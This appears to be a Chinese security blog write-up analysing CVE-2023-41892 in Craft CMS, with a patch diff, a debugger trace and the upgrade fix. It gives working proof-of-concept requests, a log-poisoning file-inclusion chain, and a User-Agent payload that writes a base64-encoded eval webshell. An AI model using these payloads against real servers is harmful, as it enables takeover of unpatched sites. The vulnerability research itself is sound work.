关注我们❤️,添加星标🌟,一起学安全!
作者:XbnWa@Timeline Sec
本文字数:2231
阅读时长:2~4min
声明:仅供学习参考使用,请勿用作违法用途,否则后果自负
0x01 简介
Craft CMS是一个开源的内容管理系统,它专注于用户友好的内容创建过程,逻辑清晰明了,是一个高度自由,高度自定义设计的平台吗,可以用来创建个人或企业网站也可以搭建企业级电子商务系统。
0x02 漏洞概述
漏洞编号:CVE-2023-41892
Craft CMS存在前台远程代码执行漏洞,攻击者可构造恶意请求执行任意代码,控制服务器。
0x03 影响版本
4.0.0-RC1 <= Craft CMS <= 4.4.14
0x04 环境搭建
前置步骤:安装好phpstudy后,下好php8+的版本,mysql5.7.8+的版本,再去重新安装craftcms 进入存在craft的文件夹 打开cmd运行php craft setup 设置基础信息
运行php craft serve一直报错。找不到某个类
在php.ini中一直找不到extension=php_intl.dll
就尝试了另一种方法:把icu开头的文件复制了一份放在了apache的bin文件下
重启apache还是不行,截图忘了。后面直接在php.ini文件中加入extension=php_intl.dll
再次重启,环境搭建完毕
0x05 漏洞分析复现
官网公告
https://github.com/craftcms/cms/security/advisories/GHSA-4w8r-3xrw-v25g
https://github.com/craftcms/cms/commit/c0a37e15cc925c473e60e27fe64054993b867ac1#diff-47dd43d86f85161944dfcce2e41d31955c4184672d9bd9d82b948c6b01b86476
补丁文件
src/controllers/ConditionsController.php
@@ -34,6 +34,12 @@ class ConditionsController extends Controller
*/
public
function
beforeAction(
$action
): bool
{
if
(!parent::beforeAction(
$action
)) {
return
false
;
}
$this
->requireCpRequest();
$baseConfig
= Json::decodeIfJson(
$this
->request->getBodyParam(
'config'
));
$config
=
$this
->request->getBodyParam(
$baseConfig
[
'name'
]);
$newRuleType
= ArrayHelper::remove(
$config
,
'new-rule-type'
);
@@ -48,7 +54,7 @@ public
function
beforeAction(
$action
): bool
$this
->_condition->addConditionRule(
$rule
);
}
return
parent::beforeAction(
$action
);
return
true
;
}
/**
漏洞位置 由于不知道具体含义,多点几个断点进行跟踪
执行POC
POST /CraftCMS/web/index.php HTTP/1
Host: localhost
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/x-www-form-urlencoded
Content-Length: 238
action=conditions/render&
test
[userCondition]=craftelementsconditionsusersUserCondition&config={
"name"
:
"test[userCondition]"
,
"as xyz"
:{
"class"
:
"\GuzzleHttp\Psr7\FnStream"
,
"__construct()"
: [{
"close"
:null}],
"_fn_close"
:
"phpinfo"
}}
断点跟踪 传入的config值转为json字符串,在json中获取name的值并移除new-rule-type的元素 接着,通过调用Craft::$app->getConditions()方法获取条件服务对象,再创建条件对象$this->_condition,此时将$config参数传递给对象构造函数
判断路由conditions/render是否存在,存在即跳转,不存在就报错
从这里一直断点跟下去貌似就是调试信息了,判断是否报错,写入日志等等
回到上面继续看这里的执行,一个个搜下来
用vscode为啥搜不到???
断点看看执行过程,接受一些参数,并初始化对象的属性。调用Action类的构造函数将$id, $controller, $config三个参数进行传递
继续跟踪到Controller,该类用于处理用户请求和响应, 这里主要看传入的$id参数进行处理,遍历$id参数是否包含在模块中, 包含则返回true反之false
为true时,使用array_unshift函数,将$module插入到$modules数组的开头, 表示该模块通过了beforeAction方法的检查。false直接break
查看$conditionsService
跟进createCondition使用ArrayHelper::remove方法,从$config数组中移除一个名为class的元素,并将其赋值给$class,表示条件对象的类名。赋值后的$class必须为ConditionInterface子类才能执行后续操作,否则直接报错
表示如果$value是一个Behavior的实例,就直接使用$value,否则就使用Yii::createObject($value)方法,根据$value的配置,创建一个行为对象。
单步调试至createObject,判断传入的数组必须含有class或者_class,并执行return static::$container->get($class, $params, $type),否则报错
执行return $this->build($class, $params, $config)
存在__construct就执行,创建空数组$addDependencies并传入__construct参数
全局搜索__construct,遍历数组,将$fn赋值给对象一个属性该属性的名称是fn和键($name)的拼接,表示方法的前缀和名称
搜索_fn_close发现调用了__destruct函数进行销毁,并且可以自定义函数
最后形成此POC
action=conditions/render&
test
[userCondition]=craftelementsconditionsusersUserCondition&config={
"name"
:
"test[userCondition]"
,
"as xyz"
:{
"class"
:
"\GuzzleHttp\Psr7\FnStream"
,
"__construct()"
: [{
"close"
:null}],
"_fn_close"
:
"phpinfo"
}}
RCE
查看PhpManager.php文件 namespace 为 yiirbac,可能是一个 require 文件包含
查看:Logging | Craft CMS Documentation | 4.x 在目录storage/logs/下存放了web-[Y-m-d].log,按照年月日命名,里面存储了web的请求内容,尝试利用这个文件
action=conditions/render&configObject=craftelementsconditionsElementCondition&config={
"name"
:
"configObject"
,
"as "
:{
"class"
:
"\yii\rbac\PhpManager"
,
"__construct()"
:[{
"itemFile"
:
"/phpstudy_pro/WWW/CraftCMS/storage/logs/web-2023-11-24.log"
}]}}
User-Agent头传参防止被编码,第一次请求写入,第二次请求包含
踩坑日记
这里遇到一个坑,要是第一次参数传错了,那么今天一天都rce不了了,这里因为先传了一个
<?php
echo
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
;?>
后面不管传什么都会一直报错,执行不了!
这边清除日志,重新尝试,成功写入并执行
由于单双引号会被反斜杠转义,考虑直接使用反引号命令执行
User-Agent: <?php `
echo
PD9waHAgQGV2YWwoJF9QT1NUWyJjbWQiXSk7Pz4=|base64 -d>shell.php`;?>
成功创建文件,这边是windows执行的,可能有点报错没写入
0x06 修复方式
升级版本 https://github.com/craftcms/cms/security/advisories/GHSA-4w8r-3xrw-v25g
参考链接
https://forum.butian.net/share/2447
https://blog.csdn.net/df981011512/article/details/82699845
https://blog.csdn.net/df981011512/article/details/89678763
http://www.bmth666.cn/2023/09/26/CVE-2023-41892-CraftCMS%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/
原文始发于微信公众号(Timeline Sec):CVE-2023-41892:Craft CMS远程代码执行漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论